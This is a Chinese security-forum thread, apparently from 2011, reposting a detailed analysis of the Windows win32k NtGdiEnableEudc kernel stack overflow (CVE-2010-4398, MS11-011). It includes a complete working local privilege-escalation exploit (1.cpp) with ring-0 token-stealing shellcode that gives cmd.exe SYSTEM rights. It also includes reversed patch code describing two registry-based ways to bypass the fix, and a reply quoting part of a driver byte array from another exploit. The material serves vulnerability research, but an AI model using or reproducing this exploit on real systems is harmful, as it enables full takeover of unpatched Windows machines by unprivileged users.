首页
社区
课程
招聘
[原创]放个MS11-011分析、逆向、利用、绕过的文档、源代码
2011-3-7 22:43 23039

[原创]放个MS11-011分析、逆向、利用、绕过的文档、源代码

2011-3-7 22:43
23039
收藏
点赞6
打赏
分享
最新回复 (59)
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wyyzy 2011-3-9 11:37
26
0
支持好文,谢谢分享
雪    币: 421
活跃值: (83)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
大头和尚 2011-3-9 13:21
27
0
CVE-2010-4398分析
KiDebug
1.        废话
本文分析所采用的操作系统为Windows 7 旗舰版,使用到的工具有:VMWare + Windbg + IDA Pro 5.5。转载时请注明“KiDebug”。联系方式:KiDebug¥163.com
2.        漏洞函数分析
POC及分析见翰海源网站:http://www.vulnhunt.com/index.php/2010/11/28/windows-vista7-kernel-ntgdienableeudc-0day_analysis/
或:http://www.debugman.com/discussion/5767/%E7%88%86%E4%B8%AA%E8%BF%87uac%E6%8F%90%E6%9D%830day/p1
翰海源的分析有一个错误的地方,仍然以WindowsXP的win32k.sys 5.1.2600.6033为例,在NtGdiEnableEudc的整个执行过程中,会在sub_BF8773B7、sub_BF88BD4A两个函数里调用到nt!RtlQueryRegistryValues。sub_BF88BD4A正如翰海源分析一样,没有问题,有问题的是sub_BF8773B7,它先于sub_BF88BD4A被调用,可以造缓冲区溢出。sub_BF8773B7中启用了security cookie,在不知道security cookie值的情况下,很大几率会因为security cookie值不匹配而蓝屏,造成拒绝服务。security cookie值随着系统的每次启动而不同,但系统启动后,以任何用户运行任何程序,这个值都不会改变。
现在以win32k.sys(6.1.7600.16691)为例,POC在进入win32k.sys后,在sub_BF81BA0B函数中调用到了nt!RtlQueryRegistryValues,此时函数调用顺序如下:
Win32k!NtGdiEnableEudc
Win32k!GreEnableEUDC
Win32k!sub_BF81B3B4
Win32k!sub_BF81BA0B
nt!RtlQueryRegistryValues定义及传递的参数如下所示:
NTSTATUS
  RtlQueryRegistryValues(
    IN ULONG  RelativeTo,                           //0
    IN PCWSTR  Path,       //L"\REGISTRY\USER\(当前用户SID)\EUDC\936"
    IN PRTL_QUERY_REGISTRY_TABLE  QueryTable,   //win32k!SharedQueryTable
    IN PVOID  Context,                               //0
    IN PVOID  Environment  OPTIONAL               //0
    );
win32k!SharedQueryTable结构体成员的值如下:
win32k!SharedQueryTable->QueryRoutine=0;
win32k!SharedQueryTable->Flags=24;
win32k!SharedQueryTable->Name=L"SystemDefaultEUDCFont";
win32k!SharedQueryTable->EntryContext=ebp-0x20;
win32k!SharedQueryTable->DefaultType=0;
win32k!SharedQueryTable->DefaultData=0;
win32k!SharedQueryTable->DefaultLength=0;
ebp-0x20 实际上是一个UNICODE_STRING结构体,UNICODE_STRING.Buffer是位于0xBF81BA1F处调用MALLOCOBJ::MALLOCOBJ函数分配的。
对于POC,nt!RtlQueryRegistryValues将会依次调用到nt!RtlpCallQueryRegistryRoutine、nt!RtlpQueryRegistryDirect。数据复制是在nt!RtlpQueryRegistryDirect函数中完成的,定义及功能可以参考WRK。以下是nt!RtlpQueryRegistryDirect中部分代码,以Windows 7旗舰版MS11-011(KB2479628)补丁前最新的ntkrnlpa.exe 6.1.7600.16617为例:
① nt!RtlpQueryRegistryDirect:
PAGE:005F89F6                 push    esi
PAGE:005F89F7                 mov     esi, [ebp+Destination]
[ebp+Destination]是win32k中win32k!SharedQueryTable->EntryContext,这个值指向的是栈地址ebp-20,为一个UNICODE_STRING结构体。
② nt!RtlpQueryRegistryDirect:
PAGE:005F8A40                 add     esi, 8
PAGE:005F8A27                 push    eax             ; size_t
PAGE:005F8A28                 push    ebx             ; void *
PAGE:005F8A29                 push    esi             ; void *
PAGE:005F8A2A                 call    _memcpy
如果注册表数值SystemDefaultEUDCFont的类型不是REG_SZ(1)、 REG_EXPAND_SZ(2)、REG_MULTI_SZ(7)的话,执行以上代码,数据将会复制到栈上。eax为数值数据长度,足够长的话,将会覆盖存在于栈上的函数返回地址。
③ nt!RtlpQueryRegistryDirect:
PAGE:005F8A76                 push    eax             ; size_t
PAGE:005F8A77                 push    ebx             ; void *
PAGE:005F8A78                 push    dword ptr [esi+4]
PAGE:005F8A7B                 call    _memcpy
如果注册表数值SystemDefaultEUDCFont的类型是REG_SZ(1)、 REG_EXPAND_SZ(2)、REG_MULTI_SZ(7)的话,执行以上代码,数据将会复制到[esi+4](UNICODE_STRING.Buffer)指向的一片内存缓冲区上,不会有栈溢出的情况发生。以下是示意图

\REGISTRY\USER\(当前用户SID)\EUDC\下的键、数值对于普通用户来说都是可以修改的,因此在普通用户下可以修改“SystemDefaultEUDCFont”数值类型,使得nt!RtlpQueryRegistryDirect将数据复制到栈空间里,覆盖sub_BF81BA0B函数的返回地址,跳到自定义的shellcode中,shellcode以Ring0权限执行,无论是加载驱动还是修改进程Token,都不是问题。
3.        如何利用?
下面将分析POC中是如何设计数据长度、内容,以便能覆盖返回地址,并且使函数在运行过程中不会出错蓝屏的。
① 放置shellcode地址

上图是函数sub_BF81BA0B栈示意图。如果注册表数值SystemDefaultEUDCFont的类型不是REG_SZ(1)、 REG_EXPAND_SZ(2)、REG_MULTI_SZ(7)的话,nt!RtlpQueryRegistryDirect将先填充数值类型和数据长度,然后再复制数据内容,数据的内容是从EBP-0x20+0x8开始复制的,返回地址位于EBP+0x4,所以shellcode的地址需要位于数据的(EBP+0x4)-(EBP-0x20+0x8)= 0x1C处。
win32k!sub_BF81BA0B从nt!RtlQueryRegistryValues返回后,将会调用
errno_t wcsncpy_s(
   wchar_t *strDest,                                //参数1:EBX
   size_t numberOfElements,                //参数2:0x104
   const wchar_t *strSource,                        //PUNICODE_STRING->Buffer
   size_t count                                        //PUNICODE_STRING->Length,也即3
);
只要将参数1:EBX、参数2:0x104覆盖成0,wcsncpy_s也就不会执行拷贝操作了。所以数据长度需要是:0x20-0x8+0x10=0x28(EBP前面0x18个字节,EBP、返回地址、两个参数4个DWORD共0x10个字节,所以一共是0x28个字节)
在XP、2003中,win32k!SharedQueryTable->EntryContext=EBP-0x424,所以shellcode的地址需要位于数据的(EBP+0x4)-(EBP-0x424+0x8)= 0x420处,数据长度需要是:0x424-0x8+0x10=0x42C(EBP前面0x41C个字节,EBP、返回地址、两个参数4个DWORD共0x10个字节,所以一共是0x42C个字节)。
② 寻找函数sub_BF81BA0B返回地址
在执行完shellcode后,需要找到覆盖前的函数sub_BF81BA0B返回地址,以便整个线程继续运行下去。Windows 7引入了ASLR机制,内核模块的加载地址也是随机化的,所以需要获取到实际的函数sub_BF81BA0B返回地址,在函数sub_BF81B3B4中调用到了函数sub_BF81BA0B。在函数sub_BF81B3B4开始处:
.text:BF81B3B9                 sub     esp, 24h
.text:BF81B3BC                 push    ebx
.text:BF81B3BD                 push    esi
.text:BF81B3BE                 push    edi
此时函数sub_BF81B3B4的EBP=ESP+0x24+0x4+0x4+0x4=ESP+0x30,
从sub_BF81BA0B返回,弹出shellcode地址,平衡push 104h、push ebx两个参数,所以此时依然有EBP=ESP+0x30,EIP指向shellcode地址。在EBP+4处是函数sub_BF81B3B4的返回地址0xBF81B8FC。因此可以从ESP+0x34处取到sub_BF81B3B4函数的返回地址。

1.        Call XXX函数     二进制:E8 (4字节偏移)
2.        返回地址
Call 后面的4字节存储的是XXX函数相对于返回地址的偏移,因此:
XXX函数地址=返回地址+Call 后面的4字节DWORD
在win32k!GreEnableEUDC中调用sub_BF81B3B4的代码如下:
.text:BF81B8F7                 call    sub_BF81B3B4
.text:BF81B8FC                 jmp     short loc_BF81B908
在得到0xBF81B8FC实际地址后,由call指令就可以获得sub_BF81B3B4函数的实际地址,进而搜索到0xBF81B46B实际的地址,即函数sub_BF81BA0B的返回地址:
.text:BF81B460                 push    104h
.text:BF81B465                 push    ebx
.text:BF81B466                 call    sub_BF81BA0B
.text:BF81B46B                 test    eax, eax   ;函数sub_BF81BA0B的返回地址
取函数sub_BF81BA0B的返回地址是在shellcode中执行的。Shellcode此外还需要恢复函数sub_BF81B3B4的EBP。
③ 如何将CMD.exe提权为SYSTEM?
POC中是调用IoGetCurrentProcess获得当前进程的EPROCESS地址,然后从当前进程出发,通过ActiveProcessLinks遍历整个进程链表,当找到一个名称为services.exe的进程时,取出services.exe的Token。然后再遍历进程链表,当找到一个名称为cmd.exe的进程时,调用ObfReferenceObject增加Token的引用,然后将Token赋予cmd.exe。
如果不用循环,可以按如下方法取System进程的Token,然后再赋给当前进程:

对于各个版本的Windows系统来说,EPROCESS中的ActiveProcessLinks、Token两个成员之间的偏移不同,但对于KPCR +0x034 KdVersionBlock,KdVersionBlock +0x78 PsActiveProcessHead,0x034、0x078这两个偏移值在XP、2003、Vista、Win7中都是一样的,可以做到通用性。System是系统建立的第一个进程,位于进程链表中的第一个位置,PsActiveProcessHead->Flink指向的就是System进程中的ActiveProcessLinks成员,加上0xF8-0xB8=0x40就可以取到System进程的Token。可以在KPCR +0x124取到当前线程的ETHREAD结构,进而获取到当前进程的EPROCESS。+0x124在XP、2003、Vista、Win7中也都是一样的。
④ 精简版POC
见1.cpp,适用于Windows 7,在win32k.sys(6.1.7600.16691)、ntkrnlpa.exe(6.1.7600.16617)下测试成功。
4.        补丁后漏洞函数分析
2月8号微软最新的KB2479628补丁(MS11-012)修改了win32k.sys部分函数,但对POC利用到的win32k.sys函数没有修改。下文的分析基于Windows 7旗舰版ntkrnlpa.exe (6.1.7600.16695),win32k.sys(6.1.7600.16732),使用的反汇编工具为IDA Pro 5.5。调试时利用了精简版POC。
win32k.sys(6.1.7600.16732)在sub_BF81BA31函数中调用到nt!RtlQueryRegistryValues,传递的参数和补丁前一样。补丁后nt!RtlpQueryRegistryDirect函数也是对字符串类型的复制到另外一片内存缓冲区上,对非字符串类型的复制到栈地址上。但定义有所改变:
NTSTATUS
        RtlpQueryRegistryDirect(
        IN ULONG                ValueType,
        IN PVOID                ValueData,
        IN ULONG                ValueLength,
        IN PUNICODE_STRING        ABS_Path        //ABS_Path.Buffer        =        "ABS\REGISTRY\USER\(用户SID)\EUDC\936";
        IN PWCHAR                ValueName        //ValueName        =        "SystemDefaultEUDCFont";
        IN DWORD                Untrusted,        //
        IN OUT        PVOID        Destination                //用EAX传递
        )
以下是nt!RtlpQueryRegistryDirect函数中新增加的控制非字符串类型复制操作的一部分代码。

当满足[ebp+var_1]为0或者bl & 2不为0时,将跳到loc_5F8CF5,接下来的代码将会复制数据到栈上,使得溢出攻击重现。
直接以汇编代码表述如何得到[ebp+var_1]为0或者bl & 2这两个条件有些困难,因此我逆向了nt!RtlpQueryRegistryDirect以及它中间调用到的部分函数,对这些函数的分析都在2.cpp中。在这里只分析一下参数Untrusted是如何传递的。
① nt!RtlQueryRegistryValues:
PAGE:005F7ED2                 call    _RtlPrefixUnicodeString@12
PAGE:005F7ED7                 test    al, al
PAGE:005F7ED9                 jz      short loc_5F7EDD
PAGE:005F7EDB                 inc     bl
PAGE:005F7EDD                 mov     [esp+280h+var_26D], bl
nt!RtlQueryRegistryValues会判断传入的Path是不是以\REGISTRY\USER\开头,是的话在[esp+280h+var_26D]存入1,不是的话存入0。因为Path=L"\REGISTRY\USER\(当前用户SID)\EUDC\936",所以[esp+280h+var_26D]=0;
② nt!RtlQueryRegistryValues:
PAGE:005F7F43                 cmp     [esp+280h+var_26D], 0
PAGE:005F7F48                 mov     byte ptr [esp+280h+String1.Length], 0
PAGE:005F7F4D                 jz      short loc_5F7F5A
PAGE:005F7F4F                 test    byte ptr [edi+4], 20h
PAGE:005F7F53                 jz      short loc_5F7F5A
PAGE:005F7F55                 mov     byte ptr [esp+280h+String1.Length], 1
如果[esp+280h+var_26D]为0,或者[esp+280h+var_26D]不为0但win32k!SharedQueryTable->Flags & 0x20 为0,那么byte ptr [esp+280h+String1.Length]处的值为0,否则则为1。因为win32k!SharedQueryTable->Flags=0x24,所以[esp+280h+String1.Length]为1;
③ nt!RtlQueryRegistryValues:
PAGE:005F818E                 push    dword ptr [esp+280h+String1.Length] ;为1
PAGE:005F819A                 push    eax
PAGE:005F819B                 push    [esp+288h+var_24C]
PAGE:005F81A9                 call    _RtlpCallQueryRegistryRoutine
调用nt!RtlpCallQueryRegistryRoutine函数,[esp+280h+String1.Length]做为第三个参数传递(中间省略了部分代码)
④ nt!RtlpCallQueryRegistryRoutine:
PAGE:005EFE12                 push    [ebp+arg_8]
PAGE:005EFE15                 mov     eax, [edi+0Ch]
PAGE:005EFE18                 push    [ebp+var_4]
PAGE:005EFE1B                 push    [ebp+arg_4]
PAGE:005EFE1E                 push    esi
PAGE:005EFE1F                 push    ecx
PAGE:005EFE20                 push    ebx
PAGE:005EFE21                 call    _RtlpQueryRegistryDirect
在nt!RtlpCallQueryRegistryRoutine函数0x005EFCD2处有一条指令:mov byte ptr [ebp+arg_8], 0,要跳到这条指令,需要满足0x005EFCA7   test   edx, edx处edx不为0,edx=PRTL_QUERY_REGISTRY_TABLE->DefaultType,而在win32k.sys中调用nt!RtlQueryRegistryValues时的PRTL_QUERY_REGISTRY_TABLE->DefaultType为0,所以[esp+280h+String1.Length]将保持不变,为1,做为第6个参数继续向下传递。因此nt!RtlpQueryRegistryDirect中的 [ebp+arg_14] =1,也就是说参数Untrusted=1。
其他详细分析请参见逆向代码,阅读时请从RtlpQueryRegistryDirect函数开始。
5.        如何重现攻击?
要绕过补丁有两种方法,已经在2.cpp注释中注明,这儿再补充一下:
一种是将\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\CONTROL\RTLQUERYREGISTRYCONFIG\TRUSTEDTYPESKEYLIST\USR|EUDC|936改名或者删除。
另外一种是将\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\CONTROL\RTLQUERYREGISTRYCONFIG\TRUSTEDTYPESKEYLIST\USR|EUDC|936,数值名称“SystemDefaultEUDCFont”的类型改为3
这两种做法都需要管理员权限。但因为POC利用到的win32k.sys函数没有修改,所以NtGdiEnableEudc依然可以用于在管理员下溢出进Ring0。


附件1.cpp

/*
转载时请注明“KiDebug”。联系方式:KiDebug¥163.com
*/

#include <stdio.h>
#include <windows.h>

extern "C" BOOL WINAPI EnableEUDC(BOOL fEnableEUDC);

void _declspec(naked) ShellCode()
{
__asm
{
mov eax, fs:[34h]
mov eax,[eax + 78h]
mov eax,[eax]
mov eax,[eax+40h];
mov ebx,fs:[124h]
mov ebx,[ebx+50h]
mov [ebx+0f8h],eax
mov ebp,esp
add ebp,30h
mov edi,[ebp+4]
mov eax,[edi-4]
add edi,eax
mov eax,04h
repnz scasb
lea edi,[edi+9]
push edi
xor eax,eax
ret
}
}

//栈空间 8个DWORD,一个ebp,一个返回地址,两个参数,从ebp-0x20+8开始,需要覆盖10个DWORD,共0x28个字节
//之所以要覆盖参数是因为wcsncpy_s 会出错
//之所以注销会蓝屏是因为ebp-4、ebp-c处分配的内存没有被释放
void main()
{
BYTE RegBuf[0x28] = {0};
DWORD ExpSize = 0x28;
*(DWORD*)(RegBuf + 0x1C) = (DWORD)ShellCode;

UINT codepage = GetACP();
WCHAR tmpstr[256];
swprintf_s(tmpstr, L"EUDC\\%d", codepage);
HKEY hKey;
RegCreateKeyEx(HKEY_CURRENT_USER, tmpstr, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE | DELETE, NULL, &hKey, NULL);
RegDeleteValue(hKey, L"SystemDefaultEUDCFont");

RegSetValueEx(hKey, L"SystemDefaultEUDCFont", 0, REG_BINARY, RegBuf, ExpSize);
EnableEUDC(TRUE);

RegDeleteValue(hKey, L"SystemDefaultEUDCFont");
RegCloseKey(hKey);

ShellExecuteA(NULL, "open", "cmd.exe ", NULL, NULL, SW_SHOWNORMAL);
}




附件2.cpp
/*
转载时请注明“KiDebug”。联系方式:KiDebug¥163.com
*/
#include "stdafx.h"

typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

#define RTL_REGISTRY_CONTROL 2 // \Registry\Machine\System\CurrentControlSet\Control


//在注册表中查询HKEY_LOCAL_MACHINE\CurrentControlSet\Control\RtlQueryRegistryConfig\BlockControlPolicy,但没有这个键,所以var_8只能返回0x80000003
NTSTATUS RtlpQueryRegistryGetBlockPolicy( PDWORD var_8 ) //以ESI传递
{
NTSTATUS result;
NTSTATUS status;
UNICODE_STRING DestinationString;
ULONG ResultLength;
HANDLE Handle;
KEY_VALUE_PARTIAL_INFORMATION KeyValueInformation;

*var_8 = 0x80000003;
//打开\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\CONTROL\RTLQUERYREGISTRYCONFIG\,
result = RtlpGetRegistryHandleAndPath(&Handle, 0, RTL_REGISTRY_CONTROL, L"RtlQueryRegistryConfig", 0);
if ( NT_SUCCESS(result) )
{
////在注册表中查询HKEY_LOCAL_MACHINE\CurrentControlSet\Control\RtlQueryRegistryConfig\BlockControlPolicy,但没有这个键,返回STATUS_OBJECT_NAME_NOT_FOUND
RtlInitUnicodeString(&DestinationString, L"BlockControlPolicy");
status = ZwQueryValueKey( Handle, &DestinationString, KeyValuePartialInformation, &KeyValueInformation, 0x14, &ResultLength);
if ( NT_SUCCESS(status) )
{
if ( KeyValueInformation.Type == REG_DWORD )
*var_8 = KeyValueInformation.Data;//不会进入到这一步,var_8不会修改,为0x80000003
}
ZwClose(Handle);
result = status;
}
return result;
}

//第一次调用该函数时,传入的Path为ABS|REGISTRY|USER|(用户SID)|EUDC|936
//第二次调用该函数时,传入的Path为USR|EUDC|936
NTSTATUS RtlpGetTrustedValueType( PDWORD Untrusted, PUNICODE_STRING Path, PWCHAR ValueName ) //Untrusted以esi传递
{
NTSTATUS status;
UNICODE_STRING DestinationString;
ULONG ResultLength;
OBJECT_ATTRIBUTES ObjectAttributes;
HANDLE Handle;
HANDLE KeyHandle;
KEY_VALUE_PARTIAL_INFORMATION KeyValueInformation;

Handle = NULL;
KeyHandle = NULL;
*Untrusted = 0xC;

////打开\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\CONTROL\RTLQUERYREGISTRYCONFIG\TRUSTEDTYPESKEYLIST
status = RtlpGetRegistryHandleAndPath(&Handle, 0, RTL_REGISTRY_CONTROL, L"RtlQueryRegistryConfig\\TrustedTypesKeyList", 0);
if ( NT_SUCCESS(status) )
{
RtlpQueryRegistryEncodePath(Path);//该函数的作用是将Path.Buffer指向的字符串中的“\”替换成“|”

ObjectAttributes.RootDirectory = Handle;
ObjectAttributes.ObjectName = (PUNICODE_STRING)Path;
ObjectAttributes.Length = 0x18;
ObjectAttributes.Attributes = 0x240;
ObjectAttributes.SecurityDescriptor = 0;
ObjectAttributes.SecurityQualityOfService = 0;

status = ZwOpenKey(&KeyHandle, GENERIC_READ|MAXIMUM_ALLOWED, &ObjectAttributes);
if ( NT_SUCCESS(status) )
{
RtlInitUnicodeString(&DestinationString, ValueName);
//第一次在RtlpQueryRegistryDirect函数中调用时,是在\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\CONTROL\RTLQUERYREGISTRYCONFIG\TRUSTEDTYPESKEYLIST中
//查“ABS|REGISTRY|USER|(用户SID)|EUDC|936”,所以返回STATUS_OBJECT_NAME_NOT_FOUND
//第二次在RtlpGetUserTrustedValueTypeFromAbsolute函数中调用,是查“USR|EUDC|936”,在注册表中能找到这个键,
//里面数值名称“SystemDefaultEUDCFont”,它的数值类型为REG_DWORD,数值数据为1(REG_SZ),表示HKEY_USERS\(用户SID)\EUDC\936下SystemDefaultEUDCFont的安全类型
//是REG_SZ,如果不是REG_SZ的话那就不可信了。
//所以要绕过补丁有两种方法,一种是\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\CONTROL\RTLQUERYREGISTRYCONFIG\TRUSTEDTYPESKEYLIST\USR|EUDC|936改名或者删除,使其返回STATUS_OBJECT_NAME_NOT_FOUND
//另外一种是将\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\CONTROL\RTLQUERYREGISTRYCONFIG\TRUSTEDTYPESKEYLIST\USR|EUDC|936,数值名称“SystemDefaultEUDCFont”的类型改为3
//这两种做法都需要管理员权限。
status = ZwQueryValueKey( KeyHandle, &DestinationString, KeyValuePartialInformation, &KeyValueInformation, 0x10, &ResultLength);
if ( NT_SUCCESS(status) )
{
if ( KeyValueInformation.Type == REG_DWORD )
{
////改类型为REG_BINARY(3),Untrusted被改为3,在RtlpQueryRegistryDirect中就会和ValueType相等了
*Untrusted = KeyValueInformation.Data;
if ( KeyValueInformation.Data > 0xC )
*Untrusted = 0xC;
}
}
}
if ( Handle )
ZwClose(Handle);
if ( KeyHandle )
ZwClose(KeyHandle);
}
return status;
}


NTSTATUS RtlpGetUserTrustedValueTypeFromAbsolute( PUNICODE_STRING ABS_Path, PDWORD Untrusted, PWCHAR ValueName )
{
NTSTATUS status;
int i,j;
PWCHAR lpTemp;
UNICODE_STRING Destination;

j = ABS_Path->Length / 2;
*(DWORD *)Untrusted = 0xC;

if ( j > 0x12 )
{
//ABS_Path->Buffer字符串为ABS|REGISTRY|USER|(用户SID)|EUDC|936
//0x12 表示越过“ABS|REGISTRY|USER|”这18个字符,指针指向“(用户SID)|EUDC|936”这一字符串
//ABS_Path->Buffer + j表示ABS_Path->Buffer字符串末尾
//这个while循环用于越过(用户SID),使lpTemp指针指向“|EUDC|936”字符串
//
lpTemp = ABS_Path->Buffer + 0x12;

while ( lpTemp < ( ABS_Path->Buffer + j ) )
{
if ( *lpTemp == 0 )
return STATUS_INVALID_PARAMETER;
if ( *lpTemp == '|' | *lpTemp == '\\')
{
break;
}
lpTemp++;
}
if ( lpTemp == ( ABS_Path->Buffer + j ) )
return STATUS_INVALID_PARAMETER;

Destination.MaximumLength = ABS_Path->MaximumLength;
Destination.Length = 0;
Destination.Buffer = (PWSTR)RtlAllocateStringRoutine(Destination.MaximumLength);

if ( Destination.Buffer )
{
//把|EUDC|936、USR合并成为:USR|EUDC|936
RtlAppendUnicodeToString(&Destination, L"USR");
RtlAppendUnicodeToString(&Destination, lpTemp);
//第二次调用RtlpGetTrustedValueType函数
status = RtlpGetTrustedValueType(Untrusted, (int)&Destination, ValueName);
RtlFreeAnsiString(&Destination);
}
else
{
status = STATUS_NO_MEMORY;
}
return status;

}
return STATUS_INVALID_PARAMETER;
}


NTSTATUS
RtlpQueryRegistryDirect(
IN ULONG ValueType, //SystemDefaultEUDCFont的类型
IN PVOID ValueData, //SystemDefaultEUDCFont的数据
IN ULONG ValueLength, //0x28
IN PUNICODE_STRING ABS_Path //ABS_Path.Buffer = "ABS\REGISTRY\USER\(用户SID)\EUDC\936";
IN PWCHAR ValueName //ValueName = "SystemDefaultEUDCFont";
IN DWORD Untrusted, //按文档中分析为1
IN OUT PVOID Destination //用EAX传递
)
{
BOOLEAN var_1;
DWORD var_8,EBX;

NTSTATUS status;

//按文档中分析为1
if ( Untrusted == TRUE )
{
var_1 = 1;

if ( ValueLength > 4 | ValueType == REG_SZ | ValueType == REG_EXPAND_SZ | ValueType == REG_MULTI_SZ )
{
RtlpQueryRegistryGetBlockPolicy( &var_8 );//var_8只能为0x80000003,具体见RtlpQueryRegistryGetBlockPolicy分析
EBX = var_8;
EBX = EBX & 0xF0000000;

status = RtlpGetTrustedValueType( &Untrusted, ABS_Path, ValueName );//第一次调用RtlpGetTrustedValueType,必然返回0xC0000034 STATUS_OBJECT_NAME_NOT_FOUND
if( status == STATUS_OBJECT_NAME_NOT_FOUND )
{
RtlInitUnicodeString(&DestinationString,L"ABS");
if ( RtlPrefixUnicodeString(&DestinationString,&String2,1) )
{
status = RtlpGetUserTrustedValueTypeFromAbsolute( &Untrusted, ABS_Path, ValueName );
}
else
goto L1:
}

if( NT_SUCCESS(status) )
{
if ( Untrusted == ValueType )
var_1 = 0;//如果需要进入到这一步的话,RtlpGetUserTrustedValueTypeFromAbsolute调用后Untrusted需要返回REG_BINARY(3),可以将
//\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\CONTROL\RTLQUERYREGISTRYCONFIG\TRUSTEDTYPESKEYLIST\USR|EUDC|936,数值名称“SystemDefaultEUDCFont”的类型改为3
else
var_1 = 1;
}

L1:
if( Untrusted == 4 )
ValueLength = 4;

if( Untrusted == 0xC || !NT_SUCCESS(status) )
EBX = var_8;//此时var_8=0x80000003,赋给EBX后可以满足EBX & 2 != 0,这需要使RtlpGetUserTrustedValueTypeFromAbsolute返回错误,可以将
//\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\CONTROL\RTLQUERYREGISTRYCONFIG\TRUSTEDTYPESKEYLIST\USR|EUDC|936改名或者删除,使其返回STATUS_OBJECT_NAME_NOT_FOUND
}
else
{
//此时ValueLength≤4,无利用价值
var_1 = 0;
}
}
if ( ValueType == REG_SZ | ValueType == REG_EXPAND_SZ | ValueType == REG_MULTI_SZ )
{
//复制字符串
}
else
{
if ( ValueLength > 4 )
{
//var_1 ==0 、EBX & 2 != 0是关键
if ( var_1 ==0 | EBX & 2 != 0 )
{
//此时Destination是一个PUNICODE_STRING,值为win32k!sub_BF81BA31函数的ebp-20
//Destination->Length==0,Destination->MaximumLength=0x104
//所以(PULONG)Destination=0x01040000 > 0,可以跳到“复制到栈上面”的代码
DWORD DestinationLength;
PDWORD __Destination;
__Destination = (PDWORD)Destination
DestinationLength = *(PDWORD)Destination;
if ( DestinationLength < 0 )
{
//无视
}
else
{
//在这里复制到栈上面
if ( DestinationLength < ( ValueLength + 8 ) )
{
return STATUS_BUFFER_TOO_SMALL;
}
*__Destination++ = ValueLength;//复制长度0x28
*__Destination++ = ValueType;//复制类型REG_BINARY(3)
RtlCopyMemory( __Destination, ValueData, ValueLength );
}
}
}
else
{
//往EBP-0x20处复制4个字节,无利用价值
}
}
}



帮LZ贴一下,便于以后方便看。呵呵,希望不要见怪。
上传的附件:
雪    币: 214
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
littlejia 2011-3-9 14:49
28
0
非常好 多谢共享了 呵呵
雪    币: 611
活跃值: (251)
能力值: ( LV12,RANK:390 )
在线值:
发帖
回帖
粉丝
AntBean 9 2011-3-9 16:28
29
0
前几天在Debugman上看到KiDebug说重新溢出成功,当时一直惦记着这件事。没想到在此看到KiDebug公布的分析,太谢谢了。。。
雪    币: 37
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
落幕CC 2011-3-9 19:53
30
0
顶顶!不错,这个必须看!
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
joinbaijun 2011-3-9 21:12
31
0
支持一下!
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
dempire 2011-3-9 21:40
32
0
非常感谢楼主分享
雪    币: 261
活跃值: (78)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
hacker一疒亻 2011-3-10 19:28
33
0
这文章必须精华
雪    币: 270
活跃值: (97)
能力值: ( LV8,RANK:140 )
在线值:
发帖
回帖
粉丝
代码疯子 3 2011-3-10 23:05
34
0
哎,我水平太菜,看不懂。继续努力。
雪    币: 10
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
DeBugZero 2011-3-11 10:33
35
0
这个必须mark
雪    币: 236
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wangcai 2011-3-11 15:57
36
0
谢谢分享,收藏了
雪    币: 252
活跃值: (134)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
kelb 2011-3-25 09:50
37
0
学习学习
雪    币: 693
活跃值: (108)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
zyqqyz 1 2011-3-26 10:51
38
0
好东西,正在学习中
雪    币: 303
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
bluecode 2011-3-26 10:57
39
0
学习了...谢谢LZ
雪    币: 238
活跃值: (156)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
anticode 2011-3-27 11:18
40
0
向楼主学习了。
雪    币: 212
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
trucce 2011-5-2 16:45
41
0
嗯,先看看。谢谢LZ。
雪    币: 275
活跃值: (55)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
huihuiqi 2011-5-25 14:40
42
0
南京瀚海源分析中的那个利用代码,这些数组是干什么用的?怎么和楼主的利用思路不一样吗?

BYTE DrvBuf[] = {
        0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00,
        0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x02, 0x00, 0x00,
        0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD, 0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68,
        0x69, 0x73, 0x20, 0x70, 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F,
        0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x69, 0x6E, 0x20, 0x44, 0x4F, 0x53, 0x20,
